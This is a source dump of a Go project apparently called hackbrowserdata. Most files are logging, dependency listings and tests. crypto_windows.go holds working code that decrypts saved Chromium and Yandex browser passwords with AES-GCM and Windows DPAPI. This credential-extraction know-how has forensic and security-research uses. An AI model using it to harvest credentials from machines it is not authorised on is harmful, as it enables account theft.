	assert.Equal(t, aesGCMCiphertext, fmt.Sprintf("%x", encrypted))
}

func TestAESGCMDecrypt(t *testing.T) {
	ciphertext, _ := hex.DecodeString(aesGCMCiphertext)
	decrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext)
	assert.Equal(t, nil, err)
	assert.Equal(t, true, len(decrypted) > 0)
	assert.Equal(t, plainText, decrypted)
}


================================================
FILE: crypto/crypto_windows.go
================================================
//go:build windows

package crypto

import (
	"fmt"
	"syscall"
	"unsafe"
)

const (
	// Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes
	minEncryptedDataSize = 15
	nonceSize            = 12
)

func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
	if len(ciphertext) < minEncryptedDataSize {
		return nil, ErrCiphertextLengthIsInvalid
	}

	nonce := ciphertext[3 : 3+nonceSize]
	encryptedPassword := ciphertext[3+nonceSize:]

	return AESGCMDecrypt(key, nonce, encryptedPassword)
}

// DecryptWithYandex decrypts the password with AES-GCM
func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
	if len(ciphertext) < minEncryptedDataSize {
		return nil, ErrCiphertextLengthIsInvalid
	}
	// remove Prefix 'v10'
	// gcmBlockSize         = 16
	// gcmTagSize           = 16
	// gcmMinimumTagSize    = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
	// gcmStandardNonceSize = 12
	nonce := ciphertext[3 : 3+nonceSize]
	encryptedPassword := ciphertext[3+nonceSize:]
	return AESGCMDecrypt(key, nonce, encryptedPassword)
}

type dataBlob struct {
	cbData uint32
	pbData *byte
}

func newBlob(d []byte) *dataBlob {
	if len(d) == 0 {
		return &dataBlob{}
	}
	return &dataBlob{
		pbData: &d[0],
		cbData: uint32(len(d)),
	}
}

func (b *dataBlob) bytes() []byte {
	d := make([]byte, b.cbData)
	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
	return d
}

// DecryptWithDPAPI (Data Protection Application Programming Interface)
// is a simple cryptographic application programming interface
// available as a built-in component in Windows 2000 and
// later versions of Microsoft Windows operating systems
func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {
	crypt32 := syscall.NewLazyDLL("Crypt32.dll")
	kernel32 := syscall.NewLazyDLL("Kernel32.dll")
	unprotectDataProc := crypt32.NewProc("CryptUnprotectData")
	localFreeProc := kernel32.NewProc("LocalFree")

	var outBlob dataBlob
	r, _, err := unprotectDataProc.Call(
		uintptr(unsafe.Pointer(newBlob(ciphertext))),
		0, 0, 0, 0, 0,
		uintptr(unsafe.Pointer(&outBlob)),
	)
	if r == 0 {
		return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err)
	}

	defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
	return outBlob.bytes(), nil
}


================================================
FILE: crypto/pbkdf2.go
================================================
package crypto

import (
	"crypto/hmac"
	"hash"
)

// PBKDF2Key derives a key from the password, salt and iteration count, returning a
// []byte of length keylen that can be used as cryptographic key. The key is
// derived based on the method described as PBKDF2 with the HMAC variant using
// the supplied hash function.
//
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
// doing:
//
//	dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
//
// Remember to get a good random salt. At least 8 bytes is recommended by the
// RFC.
//
// Using a higher iteration count will increase the cost of an exhaustive
// search but will also make derivation proportionally slower.
// Copy from https://golang.org/x/crypto/pbkdf2
func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
	prf := hmac.New(h, password)
	hashLen := prf.Size()
	numBlocks := (keyLen + hashLen - 1) / hashLen

	var buf [4]byte
	dk := make([]byte, 0, numBlocks*hashLen)
	u := make([]byte, hashLen)
	for block := 1; block <= numBlocks; block++ {
		// N.B.: || means concatenation, ^ means XOR
		// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
		// U_1 = PRF(password, salt || uint(i))
		prf.Reset()
		prf.Write(salt)
		buf[0] = byte(block >> 24)
		buf[1] = byte(block >> 16)
		buf[2] = byte(block >> 8)
		buf[3] = byte(block)
		prf.Write(buf[:4])
		dk = prf.Sum(dk)
		t := dk[len(dk)-hashLen:]
		copy(u, t)

		for n := 2; n <= iter; n++ {
			prf.Reset()
			prf.Write(u)
			u = u[:0]
			u = prf.Sum(u)
			for x := range u {
				t[x] ^= u[x]
			}
		}
	}
	return dk[:keyLen]
}


================================================
FILE: extractor/extractor.go
================================================
package extractor

// Extractor is an interface for extracting data from browser data files
type Extractor interface {
	Extract(masterKey []byte) error

	Name() string

	Len() int
}


================================================
FILE: extractor/registration.go
================================================
package extractor

import (
	"github.com/moond4rk/hackbrowserdata/types"
)

var extractorRegistry = make(map[types.DataType]func() Extractor)

// RegisterExtractor is used to register the data source
func RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) {
	extractorRegistry[dataType] = factoryFunc
}

// CreateExtractor is used to create the data source
func CreateExtractor(dataType types.DataType) Extractor {
	if factoryFunc, ok := extractorRegistry[dataType]; ok {
		return factoryFunc()
	}
	return nil
}


================================================
FILE: go.mod
================================================
module github.com/moond4rk/hackbrowserdata

go 1.20

require (
	github.com/DATA-DOG/go-sqlmock v1.5.2
	github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
	github.com/godbus/dbus/v5 v5.1.0
	github.com/otiai10/copy v1.14.0
	github.com/ppacher/go-dbus-keyring v1.0.1
	github.com/stretchr/testify v1.9.0
	github.com/syndtr/goleveldb v1.0.0
	github.com/tidwall/gjson v1.18.0
	github.com/urfave/cli/v2 v2.27.4
	golang.org/x/text v0.19.0
	modernc.org/sqlite v1.31.1
)

require (
	github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
	github.com/davecgh/go-spew v1.1.1 // indirect
	github.com/dustin/go-humanize v1.0.1 // indirect
	github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect
	github.com/google/uuid v1.6.0 // indirect
	github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
	github.com/mattn/go-isatty v0.0.20 // indirect
	github.com/ncruces/go-strftime v0.1.9 // indirect
	github.com/pmezard/go-difflib v1.0.0 // indirect
	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
	github.com/russross/blackfriday/v2 v2.1.0 // indirect
	github.com/tidwall/match v1.1.1 // indirect
	github.com/tidwall/pretty v1.2.0 // indirect
	github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
	golang.org/x/sync v0.8.0 // indirect
	golang.org/x/sys v0.22.0 // indirect
	gopkg.in/yaml.v3 v3.0.1 // indirect
	modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
	modernc.org/libc v1.55.3 // indirect
	modernc.org/mathutil v1.6.0 // indirect
	modernc.org/memory v1.8.0 // indirect
	modernc.org/strutil v1.2.0 // indirect
	modernc.org/token v1.1.0 // indirect
)


================================================
FILE: go.sum
================================================
github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=
github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=
github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/pprof v0.0.0-20240409012703-83162a5b38cd h1:gbpYu9NMq8jhDVbvlGkMFWCjLFlqqEZjEmObmhUy6Vo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/kisielk/sqlstruct v0.0.0-20201105191214-5f3e10d3ab46/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU=
github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w=
github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/ppacher/go-dbus-keyring v1.0.1 h1:dM4dMfP5w9MxY+foFHCQiN7izEGpFdKr3tZeMGmvqD0=
github.com/ppacher/go-dbus-keyring v1.0.1/go.mod h1:JEmkRwBVPBFkOHedAsoZALWmhNJxR/R/ykkFpbEHtGE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/urfave/cli/v2 v2.27.4 h1:o1owoI+02Eb+K107p27wEX9Bb8eqIoZCfLXloLUSWJ8=
github.com/urfave/cli/v2 v2.27.4/go.mod h1:m4QzxcD2qpra4z7WhzEGn74WZLViBnMpb1ToCAKdGRQ=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd h1:nTDtHvHSdCn1m6ITfMRqtOd/9+7a3s8RBNOZ3eYZzJA=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM=
golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=
modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
modernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U=
modernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
modernc.org/sqlite v1.31.1 h1:XVU0VyzxrYHlBhIs1DiEgSl0ZtdnPtbLVy8hSkzxGrs=
modernc.org/sqlite v1.31.1/go.mod h1:UqoylwmTb9F+IqXERT8bW9zzOWN8qwAIcLdzeBZs4hA=
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=


================================================
FILE: log/level/level.go
================================================
package level

// Level defines all the available levels we can log at
type Level int32

const (
	// DebugLevel is the lowest level of logging.
	// Debug logs are intended for debugging and development purposes.
	DebugLevel Level = iota + 1

	// WarnLevel is used for undesired but relatively expected events,
	// which may indicate a problem.
	WarnLevel

	// ErrorLevel is used for undesired and unexpected events that
	// the program can recover from.
	ErrorLevel

	// FatalLevel is used for undesired and unexpected events that
	// the program cannot recover from.
	FatalLevel
)

func (l Level) String() string {
	switch l {
	case DebugLevel:
		return "DEBUG"
	case WarnLevel:
		return "WARN"
	case ErrorLevel:
		return "ERROR"
	case FatalLevel:
		return "FATAL"
	default:
		return "UNKNOWN"
	}
}


================================================
FILE: log/log.go
================================================
package log

import (
	"github.com/moond4rk/hackbrowserdata/log/level"
)

var (
	// defaultLogger is the default logger used by the package-level functions.
	defaultLogger = NewLogger(nil)
)

func SetVerbose() {
	defaultLogger.SetLevel(level.DebugLevel)
}

func Debug(args ...any) {
	defaultLogger.Debug(args...)
}

func Debugf(format string, args ...any) {
	defaultLogger.Debugf(format, args...)
}

func Warn(args ...any) {
	defaultLogger.Warn(args...)
}

func Warnf(format string, args ...any) {
	defaultLogger.Warnf(format, args...)
}

func Error(args ...any) {
	defaultLogger.Error(args...)
}

func Errorf(format string, args ...any) {
	defaultLogger.Errorf(format, args...)
}

func Fatal(args ...any) {
	defaultLogger.Fatal(args...)
}

func Fatalf(format string, args ...any) {
	defaultLogger.Fatalf(format, args...)
}


================================================
FILE: log/logger.go
================================================
package log

import (
	"fmt"
	"io"
	stdlog "log"
	"os"
	"runtime"
	"strings"
	"sync/atomic"

	"github.com/moond4rk/hackbrowserdata/log/level"
)

// NewLogger creates and returns a new instance of Logger.
// Log level is set to DebugLevel by default.
func NewLogger(base Base) *Logger {
	if base == nil {
		base = newBase(os.Stderr)
	}
	return &Logger{base: base, minLevel: level.WarnLevel}
}

// Logger logs message to io.Writer at various log levels.
type Logger struct {
	base Base

	// Minimum log level for this logger.
	// Message with level lower than this level won't be outputted.
	minLevel level.Level
}

// canLogAt reports whether logger can log at level v.
func (l *Logger) canLogAt(v level.Level) bool {
	return v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel)))
}

// SetLevel sets the logger level.
// It panics if v is less than DebugLevel or greater than FatalLevel.
func (l *Logger) SetLevel(v level.Level) {
	if v < level.DebugLevel || v > level.FatalLevel {
		panic("log: invalid log level")
	}
	atomic.StoreInt32((*int32)(&l.minLevel), int32(v))
}

func (l *Logger) Debug(args ...any) {
	if !l.canLogAt(level.DebugLevel) {
		return
	}
	l.base.Debug(args...)
}

func (l *Logger) Warn(args ...any) {
	if !l.canLogAt(level.WarnLevel) {
		return
	}
	l.base.Warn(args...)
}

func (l *Logger) Error(args ...any) {
	if !l.canLogAt(level.ErrorLevel) {
		return
	}
	l.base.Error(args...)
}

func (l *Logger) Fatal(args ...any) {
	if !l.canLogAt(level.FatalLevel) {
		return
	}
	l.base.Fatal(args...)
}

func (l *Logger) Debugf(format string, args ...any) {
	if !l.canLogAt(level.DebugLevel) {
		return
	}
	l.base.Debug(fmt.Sprintf(format, args...))
}

func (l *Logger) Warnf(format string, args ...any) {
	if !l.canLogAt(level.WarnLevel) {
		return
	}
	l.base.Warn(fmt.Sprintf(format, args...))
}

func (l *Logger) Errorf(format string, args ...any) {
	if !l.canLogAt(level.ErrorLevel) {
		return
	}
	l.base.Error(fmt.Sprintf(format, args...))
}

func (l *Logger) Fatalf(format string, args ...any) {
	if !l.canLogAt(level.FatalLevel) {
		return
	}
	l.base.Fatal(fmt.Sprintf(format, args...))
}

type Base interface {
	Debug(args ...any)
	Warn(args ...any)
	Error(args ...any)
	Fatal(args ...any)
}

// baseLogger is a wrapper object around log.Logger from the standard library.
// It supports logging at various log levels.
type baseLogger struct {
	*stdlog.Logger
	callDepth int
}

func newBase(out io.Writer) *baseLogger {
	prefix := "[hack-browser-data] "
	base := &baseLogger{
		Logger: stdlog.New(out, prefix, stdlog.Lshortfile),
	}
	base.callDepth = base.calculateCallDepth()
	return base
}

// calculateCallDepth returns the call depth for the logger.
func (l *baseLogger) calculateCallDepth() int {
	return l.getCallDepth()
}

func (l *baseLogger) prefixPrint(prefix string, args ...any) {
	args = append([]any{prefix}, args...)
	if err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil {
		_, _ = fmt.Fprintf(os.Stderr, "log output error: %v\n", err)
	}
}

func (l *baseLogger) getCallDepth() int {
	var defaultCallDepth = 2
	pcs := make([]uintptr, 10)
	n := runtime.Callers(defaultCallDepth, pcs)
	frames := runtime.CallersFrames(pcs[:n])
	for i := 0; i < n; i++ {
		frame, more := frames.Next()
		if !l.isLoggerPackage(frame.Function) {
			return i + 1
		}
		if !more {
			break
		}
	}
	return defaultCallDepth
}

func (l *baseLogger) isLoggerPackage(funcName string) bool {
	const loggerFuncName = "hackbrowserdata/log"
	return strings.Contains(funcName, loggerFuncName)
}

// Debug logs a message at Debug level.
func (l *baseLogger) Debug(args ...any) {
	l.prefixPrint("DEBUG: ", args...)
}

// Warn logs a message at Warning level.
func (l *baseLogger) Warn(args ...any) {
	l.prefixPrint("WARN: ", args...)
}

// Error logs a message at Error level.
func (l *baseLogger) Error(args ...any) {
	l.prefixPrint("ERROR: ", args...)
}

var osExit = os.Exit

// Fatal logs a message at Fatal level
// and process will exit with status set to 1.
func (l *baseLogger) Fatal(args ...any) {
	l.prefixPrint("FATAL: ", args...)
	osExit(1)
}


================================================
FILE: log/logger_test.go
================================================
package log

import (
	"bytes"
	"fmt"
	"testing"

	"github.com/stretchr/testify/assert"

	level2 "github.com/moond4rk/hackbrowserdata/log/level"
)

const (
	pattern = `^\[hack\-browser\-data] \w+\.go:\d+:`
)

type baseTestCase struct {
	description   string
	message       string
	suffix        string
	level         level2.Level
	wantedPattern string
}

var (
	baseTestCases = []baseTestCase{
		{
			description: "without trailing newline, logger adds newline",
			message:     "hello, hacker!",
			suffix:      "",
		},
		{
			description: "with trailing newline, logger preserves newline",
			message:     "hello, hacker!",
			suffix:      "\n",
		},
	}
)

func TestLoggerDebug(t *testing.T) {
	for _, tc := range baseTestCases {
		tc := tc
		tc.level = level2.DebugLevel
		message := tc.message + tc.suffix
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.SetLevel(level2.DebugLevel)
			logger.Debug(message)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerWarn(t *testing.T) {
	for _, tc := range baseTestCases {
		tc := tc
		tc.level = level2.WarnLevel
		message := tc.message + tc.suffix
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.Warn(message)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerError(t *testing.T) {
	for _, tc := range baseTestCases {
		tc := tc
		tc.level = level2.ErrorLevel
		message := tc.message + tc.suffix
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			logger := NewLogger(newBase(&buf))
			logger.Error(message)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
		})
	}
}

func TestLoggerFatal(t *testing.T) {
	originalOsExit := osExit
	defer func() { osExit = originalOsExit }()

	for _, tc := range baseTestCases {
		tc := tc
		tc.level = level2.FatalLevel
		message := tc.message + tc.suffix
		tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
		t.Run(tc.description, func(t *testing.T) {
			var buf bytes.Buffer
			exitCalled := false
			exitCode := 0
			osExit = func(code int) {
				exitCalled = true
				exitCode = code
			}
			logger := NewLogger(newBase(&buf))
			logger.Fatal(message)
			got := buf.String()
			assert.Regexp(t, tc.wantedPattern, got)
			assert.True(t, exitCalled)
			assert.Equal(t, 1, exitCode)
		})
	}
}

type formatTestCase struct {
	description   string
	format        string
	args          []interface{}
	level         level2.Level
	wantedPattern string
}

var (
	formatTestCases = []formatTestCase{
		{
			description: "message with format prefix",
			format:      "hello, %s!",
			args:        []any{"Hacker"},
		},
